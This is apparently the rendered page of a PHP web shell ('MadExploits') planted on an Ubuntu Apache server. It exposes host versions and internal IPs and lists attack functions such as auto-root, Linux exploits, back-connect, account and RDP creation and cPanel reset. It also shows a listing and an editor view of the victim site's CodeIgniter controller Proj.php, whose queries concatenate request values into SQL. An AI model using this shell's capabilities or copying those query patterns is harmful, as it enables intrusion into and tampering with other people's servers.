Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
application /
controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
11-05-Publication.php
1.2
KB
-rwxr-x--x
260923-Events.php
1.62
KB
-rwxr-x--x
Ablog.php
17.92
KB
-rwxr-x--x
Artist.php
372
B
-rwxr-x--x
Blog.php
1.71
KB
-rwxr-x--x
Cat.php
19.11
KB
-rwxr-x--x
Contact.php
4.03
KB
-rwxr-x--x
Corse.php
20.35
KB
-rwxr-x--x
Courses.php
1.76
KB
-rwxr-x--x
Dashboard.php
491
B
-rwxr-x--x
Digital.php
373
B
-rwxr-x--x
Event.php
371
B
-rwxr-x--x
Events.php
1.62
KB
-rwxrwxrwx
Evnt.php
21.69
KB
-rwxr-x--x
Faculty.php
602
B
-rwxr-x--x
Fareas.php
1.16
KB
-rwxr-x--x
Home.php
717
B
-rwxr-x--x
Item.php
32.49
KB
-rwxr-x--x
Jobc.php
20.29
KB
-rwxr-x--x
Jobs.php
4.62
KB
-rwxr-x--x
Login.php
3.63
KB
-rwxr-x--x
Mdc.php
15.88
KB
-rwxr-x--x
Media.php
1.14
KB
-rwxr-x--x
Memories.php
481
B
-rwxr-x--x
Mems.php
16.03
KB
-rwxr-x--x
Pages.php
6.05
KB
-rwxr-x--x
Prod.php
5.01
KB
-rwxr-x--x
Profile.php
2.15
KB
-rwxr-x--x
Proj.php
22.41
KB
-rwxr-x--x
Projects.php
1.64
KB
-rwxr-x--x
Projt.php
10.86
KB
-rwxr-x--x
Puba.php
10.95
KB
-rwxr-x--x
Publ.php
22.94
KB
-rwxr-x--x
Publication.php
2.59
KB
-rwxr-x--x
Pubv.php
10.95
KB
-rwxr-x--x
Staff.php
600
B
-rwxr-x--x
Udig.php
10.37
KB
-rwxr-x--x
User.php
25.22
KB
-rwxr-x--x
Workshops.php
1.76
KB
-rwxr-x--x
Wrks.php
20.3
KB
-rwxr-x--x
index.html
131
B
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Proj.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Proj extends CI_Controller { public function __construct() { parent::__construct(); $this->gblm->is_logged(); $this->gblm->access_allow(4,_VW_); $this->data = $this->gblm->GblConfig(); $this->data['PAGE_TITLE'] = $this->lang->line('MNU_ITM'); $this->data['ADD_CHK'] = $this->gblm->access_check(4,_AD_); $this->data['EDT_CHK'] = $this->gblm->access_check(4,_ED_); $this->data['DEL_CHK'] = $this->gblm->access_check(4,_DL_); $this->load->model('Proj_model','stm'); $this->load->library('form_validation'); $this->load->library('Ajax_pagination'); $this->data['B_WDTH'] = HW410; $this->data['B_HGHT'] = HW230; $this->perPage = RCRD_PER_PAGE; //$this->perPage = 50; } public function Index() { $data = $this->data; $this->session->unset_userdata('sString'); $this->session->unset_userdata('sortName'); $this->session->unset_userdata('sortBy'); $data['PRSNT_BLK'] = BLK_LIST; $data['SUB_HEAD'] = $this->lang->line('GL_LIST'); $Cond="i.STATUS!='".STATUS_D."'"; $Con3 = 'PDATE'; $Con4 = 'DESC'; $data['SORT_NAME'] = $Con3; $data['SORT_TYPE'] = $Con4; $data['NEW_TD_ID'] = $Con3.'-'.$Con4; $totalRec = $this->fm->cntCon(''.$this->data['TBL']['PRJ'].' AS i',$Cond); $config['target'] = '#RecordList'; $config['base_url'] = base_url().$this->data['PAGE_CL'].'/ajxRecordList'; $config['total_rows'] = $totalRec; $config['per_page'] = $this->perPage; $this->ajax_pagination->initialize($config); $data['total_rows'] = $totalRec; $data['catList'] = $this->stm->tList(array(),"STATUS='".STATUS_A."'",'NAME','ASC'); $data['rdList'] = $this->stm->rList(array('limit'=>$this->perPage),$Cond,$Con3,$Con4); $data['cList'] = $this->load->view($this->data['DIR']['LIST'],$data,TRUE); $this->load->view($this->data['DIR']['VIEW'],$data); } function ajxRecordList() { $data = $this->data; $data['PRSNT_BLK'] = BLK_PAGE; $Cond="i.STATUS!='".STATUS_D."'"; $Con3 = 'PDATE'; $Con4 = 'DESC'; $data['SORT_NAME'] = $Con3; $data['SORT_TYPE'] = $Con4; $data['NEW_TD_ID'] = $Con3.'-'.$Con4; $totalRec = $this->fm->cntCon(''.$this->data['TBL']['PRJ'].' AS i',$Cond); $page = $this->input->post('page'); if(!$page){$offset = 0; }else{$offset = $page;} $config['target'] = '#RecordList'; $config['base_url'] = base_url().$this->router->fetch_class().'/ajxRecordList'; $config['total_rows'] = $totalRec; $config['per_page'] = $this->perPage; $this->ajax_pagination->initialize($config); $data['total_rows'] = $totalRec; $data['rdList'] = $this->stm->rList(array('start'=>$offset,'limit'=>$this->perPage),$Cond,$Con3,$Con4); $data['cList'] = $this->load->view($this->data['DIR']['LIST'],$data,TRUE); $this->load->view($this->data['DIR']['CONTENT'],$data,FALSE); } public function rdSrch() { $data = $this->data; $this->session->unset_userdata('sString'); $this->session->unset_userdata('sortName'); $this->session->unset_userdata('sortBy'); $CatId = Rsp($this->input->post('CatId')); $SrchKey = Rsp($this->input->post('SrchKey')); $fDate = Rsp($this->input->post('fDate')); $tDate = Rsp($this->input->post('tDate')); $Con3 = Rsp($this->input->post('sortName')); $Con4 = Rsp($this->input->post('sortBy')); $Cond="i.STATUS!='".STATUS_D."'"; if((int)$CatId > 0) $Cond .= " AND i.TYPID='".$CatId."'"; if($SrchKey!='') $Cond .= " AND i.NAME LIKE '%".CaseS(dbIn($SrchKey))."%'"; if($fDate!='' && $tDate!='')$Cond .= " AND i.PDATE BETWEEN '".dbDt($fDate)."' AND '".dbDt($tDate)."'"; if($fDate!='' && $tDate=='') $Cond .= " AND i.PDATE >= '".dbDt($fDate)."'"; if($fDate=='' && $tDate!='')$Cond .= " AND i.PDATE <= '".dbDt($tDate)."'"; $this->session->set_userdata('sString', $Cond); $this->session->set_userdata('sortName', $Con3); $this->session->set_userdata('sortBy', $Con4); $data['SORT_NAME'] = $Con3; $data['SORT_TYPE'] = $Con4; $data['NEW_TD_ID'] = $Con3.'-'.$Con4; if($this->fm->cntCon(''.$this->data['TBL']['PRJ'].' AS i',$Cond)> 0) { $data['PRSNT_BLK'] = BLK_LIST; $totalRec = $this->fm->cntCon(''.$this->data['TBL']['PRJ'].' AS i',$Cond); $config['total_rows'] = $totalRec; $config['target'] = '#RecordList'; $config['base_url'] = base_url().$this->data['PAGE_CL'].'/srchPageList'; $config['per_page'] = $this->perPage; $this->ajax_pagination->initialize($config); $data['total_rows'] = $totalRec; $data['rdList'] = $this->stm->rList(array('limit'=>$this->perPage),$Cond,$Con3,$Con4); $this->load->view($this->data['DIR']['LIST'],$data); } else { echo NO_RECORD; } } public function srchPageList() { $data = $this->data; $Cond = $this->session->userdata('sString'); $Con3 = $this->session->userdata('sortName'); $Con4 = $this->session->userdata('sortBy'); $data['PRSNT_BLK'] = BLK_PAGE; $data['SORT_NAME'] = $Con3; $data['SORT_TYPE'] = $Con4; $data['NEW_TD_ID'] = $Con3.'-'.$Con4; $totalRec = $this->fm->cntCon(''.$this->data['TBL']['PRJ'].' AS i',$Cond); $page = $this->input->post('page'); if(!$page){$offset = 0;}else{$offset = $page;} $config['target'] = '#RecordList'; $config['base_url'] = base_url().$this->data['PAGE_CL'].'/srchPageList'; $config['total_rows'] = $totalRec; $config['per_page'] = $this->perPage; $this->ajax_pagination->initialize($config); $data['total_rows'] = $totalRec; $data['rdList'] = $this->stm->rList(array('start'=>$offset,'limit'=>$this->perPage),$Cond,$Con3,$Con4); $this->load->view($this->data['DIR']['LIST'],$data); } public function Add() { $data = $this->data; $this->gblm->access_allow(4,_AD_); $data['PRSNT_BLK'] = BLK_ADD; $data['Id'] = NUM_ZERO; $data['SUB_HEAD'] = $this->lang->line('GL_ADD'); $data['catList'] = $this->stm->tList(array(),"STATUS='".STATUS_A."'",'NAME','ASC'); $this->load->view($this->data['DIR']['VIEW'],$data); } public function AddNew() { $data = $this->data; $this->form_validation->set_rules('FldName',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('CatId',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('prjb',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('prjd',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('ldesc',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('sdesc',$this->lang->line('SM_FDREQ'),'trim|required'); if ($this->form_validation->run() == FALSE) { $data = $this->data; $data['PRSNT_BLK'] = BLK_ADD; $data['Id'] = NUM_ZERO; $data['SUB_HEAD'] = $this->lang->line('GL_ADD'); $data['catList'] = $this->stm->tList(array(),"STATUS='".STATUS_A."'",'NAME','ASC'); $this->load->view($this->data['DIR']['VIEW'],$data); } else { $data = array( 'UID' =>$this->data['dv_UID'], 'TYPID' =>Rsp($this->input->post('CatId')), 'NAME' =>CaseS(dbIn($this->input->post('FldName'))), 'ALIAS' =>CaseL(dbIn(clean($this->input->post('FldName')))), 'PNAME' =>Rsp(dbIn($this->input->post('prjb'))), 'PDATE' =>dbDt($this->input->post('prjd')), 'SDESC' =>Rsp(dbIn($this->input->post('sdesc'))), 'LDESC' =>Rsp(dbIn($this->input->post('ldesc'))), 'STATUS' =>Rsp(dbIn($this->input->post('Status'))), 'ADATE' =>DB_IN_DT); $dv_ID= $this->fm->addId($this->data['TBL']['PRJ'], $data); if((int)($dv_ID) > 0) { $UpPath = DIR_PRJ.'/'.DIR_ORGNL.'/'; $prPic=''; $prPic2=''; if($_FILES['prPic']['name']!='') { $config['allowed_types'] = IMG_TYPE; $config['upload_path'] = $UpPath; $config['file_name'] = $dv_ID.rand(0000,9990); $this->load->library('upload', $config); $this->upload->initialize($config); if(!$this->upload->do_upload('prPic')) { $this->session->set_flashdata(STATUS_MSG,$this->upload->display_errors()); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,EROR_ICON); redirect($this->data['URL']['ADD_URL'], $data); } else { $upload_data = $this->upload->data(); $prPic = $upload_data['file_name']; $Image = $upload_data['file_name']; $config3['image_library'] = 'gd2'; $config3['source_image'] = $UpPath.$prPic; $config3['new_image'] = DIR_PRJ.'/'.DIR_STN.'/'.$prPic; $config3['create_thumb'] = TRUE; $config3['thumb_marker'] = ''; $config3['maintain_ratio'] = FALSE; $config3['width'] = $this->data['B_WDTH']; $config3['height'] = $this->data['B_HGHT']; $this->load->library('image_lib', $config3); $this->image_lib->initialize($config3); if ( ! $this->image_lib->resize()) { $this->session->set_flashdata(STATUS_MSG,$this->image_lib->display_errors()); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,EROR_ICON); redirect($this->data['URL']['ADD_URL'], $data); } $this->image_lib->clear(); } } if($_FILES['prPic2']['name']!='') { $config['allowed_types'] = FILE_TYPE; $config['upload_path'] = DIR_PDFP.'/'; $config['file_name'] = $dv_ID.rand(0000,9990); $this->load->library('upload', $config); $this->upload->initialize($config); if(!$this->upload->do_upload('prPic2')) { $this->session->set_flashdata(STATUS_MSG,$this->upload->display_errors()); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,EROR_ICON); redirect($this->data['URL']['ADD_URL'], $data); } else { $upload_data = $this->upload->data(); $prPic2 = $upload_data['file_name']; } } $dbStatus=$this->fm->upCon($this->data['TBL']['PRJ'], array('PRPIC' =>$prPic,'DFILE' =>$prPic2),"ID='".$dv_ID."'"); $data = array( 'UID' =>$this->data['dv_UID'], 'AID' =>$dv_ID, 'ATYPE' =>STATUS_A, 'ADATE' =>DB_IN_DT, 'TYPID' =>Rsp($this->input->post('CatId')), 'NAME' =>CaseS(dbIn($this->input->post('FldName'))), 'ALIAS' =>CaseL(dbIn(clean($this->input->post('FldName')))), 'PNAME' =>Rsp(dbIn($this->input->post('prjb'))), 'PDATE' =>dbDt($this->input->post('prjd')), 'SDESC' =>Rsp(dbIn($this->input->post('sdesc'))), 'PRPIC' =>$prPic, 'DFILE' =>$prPic2, 'LDESC' =>Rsp(dbIn($this->input->post('ldesc'))), 'STATUS' =>Rsp(dbIn($this->input->post('Status')))); $dbStatus= $this->fm->addNew($this->data['LOG']['PRJ'], $data); $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_ADD_SUC_MSG')); $this->session->set_flashdata(STATUS_TYPE,'success'); $this->session->set_flashdata(STATUS_ICON,'success'); redirect($this->data['URL']['RDR_URL'], $data); } else { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,'error'); redirect($this->data['URL']['ADD_URL'], $data); } } } public function Details($Id) { $data = $this->data; $this->gblm->access_allow(4,_VW_); $Id= StrReturn($Id); $Id = $this->encryption->decrypt($Id); if($this->fm->cntCon($this->data['TBL']['PRJ'],"".$this->data['URL']['DB_ID']."='".$Id."'") <= 0) { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,'error'); redirect($this->data['URL']['RDR_URL'], $data); } $data['PRSNT_BLK'] = BLK_DTLS; $data['SUB_HEAD'] = $this->lang->line('_DTLS_'); $data['Id'] = $Id; $data['catList'] = $this->stm->tList(array(),"STATUS='".STATUS_A."'",'NAME','ASC'); $data['Dtls'] = $this->stm->rDtls("".$this->data['URL']['DB_ID']."='".$Id."'"); $this->load->view($this->data['DIR']['VIEW'],$data); } public function Update($Id) { $data = $this->data; $this->gblm->access_allow(4,_ED_); $Id= StrReturn($Id); $Id = $this->encryption->decrypt($Id); if($this->fm->cntCon($this->data['TBL']['PRJ'],"".$this->data['URL']['DB_ID']."='".$Id."'") <= 0) { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,'error'); redirect($this->data['URL']['RDR_URL'], $data); } $data['PRSNT_BLK'] = BLK_UPDATE; $data['SUB_HEAD'] = $this->lang->line('GL_UDT'); $data['Id'] = $Id; $data['catList'] = $this->stm->tList(array(),"STATUS='".STATUS_A."'",'NAME','ASC'); $data['Dtls'] = $this->stm->rDtls("".$this->data['URL']['DB_ID']."='".$Id."'"); $this->load->view($this->data['DIR']['VIEW'],$data); } public function recordUpdate() { $data = $this->data; $dv_ID=$this->input->post('Id'); $this->form_validation->set_rules('FldName',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('CatId',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('prjb',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('prjd',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('sdesc',$this->lang->line('SM_FDREQ'),'trim|required'); $this->form_validation->set_rules('ldesc',$this->lang->line('SM_FDREQ'),'trim|required'); if ($this->form_validation->run() == FALSE) { $data = $this->data; $data['PRSNT_BLK'] = BLK_UPDATE; $data['Id'] = $dv_ID; $data['SUB_HEAD'] = $this->lang->line('GL_UDT'); $data['catList'] = $this->stm->tList(array(),"STATUS='".STATUS_A."'",'NAME','ASC'); $this->load->view($this->data['DIR']['VIEW'],$data); } else { $UpPath = DIR_PRJ.'/'.DIR_ORGNL.'/'; if($_FILES['prPic']['name']!='') { $config['allowed_types'] = IMG_TYPE; $config['upload_path'] = $UpPath; $config['file_name'] = $dv_ID.rand(0000,9990); $this->load->library('upload', $config); $this->upload->initialize($config); if(!$this->upload->do_upload('prPic')) { $this->session->set_flashdata(STATUS_MSG,$this->upload->display_errors()); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,EROR_ICON); redirect($this->data['URL']['ADD_URL'], $data); } else { $upload_data = $this->upload->data(); $prPic = $upload_data['file_name']; $Image = $upload_data['file_name']; $config3['image_library'] = 'gd2'; $config3['source_image'] = $UpPath.$prPic; $config3['new_image'] = DIR_PRJ.'/'.DIR_STN.'/'.$prPic; $config3['create_thumb'] = TRUE; $config3['thumb_marker'] = ''; $config3['maintain_ratio'] = FALSE; $config3['width'] = $this->data['B_WDTH']; $config3['height'] = $this->data['B_HGHT']; $this->load->library('image_lib', $config3); $this->image_lib->initialize($config3); if ( ! $this->image_lib->resize()) { $this->session->set_flashdata(STATUS_MSG,$this->image_lib->display_errors()); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,EROR_ICON); redirect($this->data['URL']['ADD_URL'], $data); } $this->image_lib->clear(); } } else $prPic=$this->input->post('oldPic'); if($_FILES['prPic2']['name']!='') { $config['allowed_types'] = FILE_TYPE; $config['upload_path'] = DIR_PDFP.'/'; $config['file_name'] = $dv_ID.rand(0000,9990); $this->load->library('upload', $config); $this->upload->initialize($config); if(!$this->upload->do_upload('prPic2')) { $this->session->set_flashdata(STATUS_MSG,$this->upload->display_errors()); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,EROR_ICON); redirect($this->data['URL']['ADD_URL'], $data); } else { $upload_data = $this->upload->data(); $prPic2 = $upload_data['file_name']; } } else $prPic2=$this->input->post('oldPic2'); $data = array( 'UID' =>$this->data['dv_UID'], 'TYPID' =>Rsp($this->input->post('CatId')), 'NAME' =>CaseS(dbIn($this->input->post('FldName'))), 'ALIAS' =>CaseL(dbIn(clean($this->input->post('FldName')))), 'PNAME' =>Rsp(dbIn($this->input->post('prjb'))), 'PDATE' =>dbDt($this->input->post('prjd')), 'SDESC' =>Rsp(dbIn($this->input->post('sdesc'))), 'PRPIC' =>$prPic, 'DFILE' =>$prPic2, 'LDESC' =>Rsp(dbIn($this->input->post('ldesc'))), 'STATUS' =>Rsp(dbIn($this->input->post('Status')))); $dbStatus=$this->fm->upCon($this->data['TBL']['PRJ'], $data,"".$this->data['URL']['DB_ID']."='".$dv_ID."'"); if($dbStatus==TRUE) { //trending update check if($this->input->post('Status')==STATUS_I) { if($this->fm->cntCon($this->data['TBL']['TND'],"TID='".$dv_ID."' AND TYPE='".STATUS_PR."'") > 0) { $this->fm->upCon($this->data['TBL']['TND'],array('UID' =>$this->data['dv_UID'],'STATUS' =>STATUS_N),"TID='".$dv_ID."' AND TYPE='".STATUS_PR."'"); } } $data = array( 'UID' =>$this->data['dv_UID'], 'AID' =>$dv_ID, 'ATYPE' =>STATUS_E, 'ADATE' =>DB_IN_DT, 'TYPID' =>Rsp($this->input->post('CatId')), 'NAME' =>CaseS(dbIn($this->input->post('FldName'))), 'ALIAS' =>CaseL(dbIn(clean($this->input->post('FldName')))), 'PNAME' =>Rsp(dbIn($this->input->post('prjb'))), 'PDATE' =>dbDt($this->input->post('prjd')), 'SDESC' =>Rsp(dbIn($this->input->post('sdesc'))), 'PRPIC' =>$prPic, 'DFILE' =>$prPic2, 'LDESC' =>Rsp(dbIn($this->input->post('ldesc'))), 'STATUS' =>Rsp(dbIn($this->input->post('Status')))); $dbStatus= $this->fm->addNew($this->data['LOG']['PRJ'], $data); $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_UP_SUC_MSG')); $this->session->set_flashdata(STATUS_TYPE,'success'); $this->session->set_flashdata(STATUS_ICON,'success'); redirect($this->data['URL']['RDR_URL'], $data); } else { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,$this->lang->line('GL_ERR_MSG')); $this->session->set_flashdata(STATUS_ICON,'error'); redirect($this->data['URL']['ADD_URL'], $data); } } } public function Delete($Id) { $data = $this->data; $this->gblm->access_allow(4,_DL_); $Id= StrReturn($Id); $Id = $this->encryption->decrypt($Id); if($this->fm->cntCon($this->data['TBL']['PRJ'],"".$this->data['URL']['DB_ID']."='".$Id."'") <= 0) { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,'error'); redirect($this->data['URL']['RDR_URL'], $data); } $Dtls = $this->stm->rDtls("".$this->data['URL']['DB_ID']."='".$Id."'"); $data = array( 'UID' =>$this->data['dv_UID'], 'AID' =>$Id, 'ATYPE' =>STATUS_D, 'ADATE' =>DB_IN_DT, 'TYPID' =>Rsp($Dtls['CATID']), 'NAME' =>CaseS(dbIn($Dtls['NAME'])), 'ALIAS' =>CaseL(dbIn($Dtls['ALIAS'])), 'PNAME' =>Rsp(dbIn($Dtls['PNAME'])), 'PDATE' =>dbDt($Dtls['PDATE']), 'SDESC' =>Rsp(dbIn($Dtls['SDESC'])), 'PRPIC' =>Rsp(dbIn($Dtls['PRPIC'])), 'DFILE' =>Rsp(dbIn($Dtls['DFILE'])), 'LDESC' =>Rsp(dbIn($Dtls['LDESC'])), 'STATUS' =>Rsp(dbIn($Dtls['STATUS']))); $dbStatus= $this->fm->addNew($this->data['LOG']['PRJ'], $data); if($dbStatus == TRUE) { //trending update check if($this->fm->cntCon($this->data['TBL']['TND'],"TID='".$Id."' AND TYPE='".STATUS_PR."'") > 0) { $this->fm->addNew($this->data['LOG']['TND'],array('UID' =>$this->data['dv_UID'],'ATYPE' =>STATUS_D,'ADATE' =>DB_IN_DT,'TID' =>$Id,'TYPE' =>STATUS_PR,'STATUS' =>STATUS_N)); $this->fm->delCon($this->data['TBL']['TND'],"TID='".$Id."' AND TYPE='".STATUS_PR."'"); } $dbStatus=$this->fm->delCon($this->data['TBL']['PRJ'],"".$this->data['URL']['DB_ID']."='".$Id."'"); if($dbStatus == TRUE) { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_DEL_SUC_MSG')); $this->session->set_flashdata(STATUS_TYPE,'success'); redirect($this->data['URL']['RDR_URL'], $data); } else { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,'error'); redirect($this->data['URL']['RDR_URL'], $data); } } else { $this->session->set_flashdata(STATUS_MSG,$this->lang->line('GL_WRONG_MSG')); $this->session->set_flashdata(STATUS_TYPE,'error'); redirect($this->data['URL']['RDR_URL'], $data); } } public function trndUpdte() { $data = $this->data; $pId=$this->input->post('pId'); $tSt=$this->input->post('tSt'); $this->fm->upCon($this->data['TBL']['PRJ'],array('TSTATUS' =>$tSt),"ID='".$pId."'"); if($this->fm->cntCon($this->data['TBL']['TND'],"TID='".$pId."' AND TYPE='".STATUS_PR."'") > 0) { $this->fm->upCon($this->data['TBL']['TND'],array('UID' =>$this->data['dv_UID'],'STATUS' =>$tSt),"TID='".$pId."' AND TYPE='".STATUS_PR."'"); $this->fm->addNew($this->data['LOG']['TND'],array('UID' =>$this->data['dv_UID'],'ATYPE' =>STATUS_E,'ADATE' =>DB_IN_DT,'TID' =>$pId,'TYPE' =>STATUS_PR,'STATUS' =>$tSt)); if($tSt==STATUS_Y) { echo 'success'._SPTR_.'added successfully into Trending list'; exit; } else { echo 'notice'._SPTR_.'removed successfully from Trending list'; exit; } } else { $this->fm->addNew($this->data['TBL']['TND'],array('UID' =>$this->data['dv_UID'],'TID' =>$pId,'TYPE' =>STATUS_PR,'STATUS' =>$tSt,'ADATE' =>DB_IN_DT)); $this->fm->addNew($this->data['LOG']['TND'],array('UID' =>$this->data['dv_UID'],'ATYPE' =>STATUS_A,'ADATE' =>DB_IN_DT,'TID' =>$pId,'TYPE' =>STATUS_PR,'STATUS' =>$tSt)); echo 'success'._SPTR_.'added successfully into Trending list'; exit; } } }
Close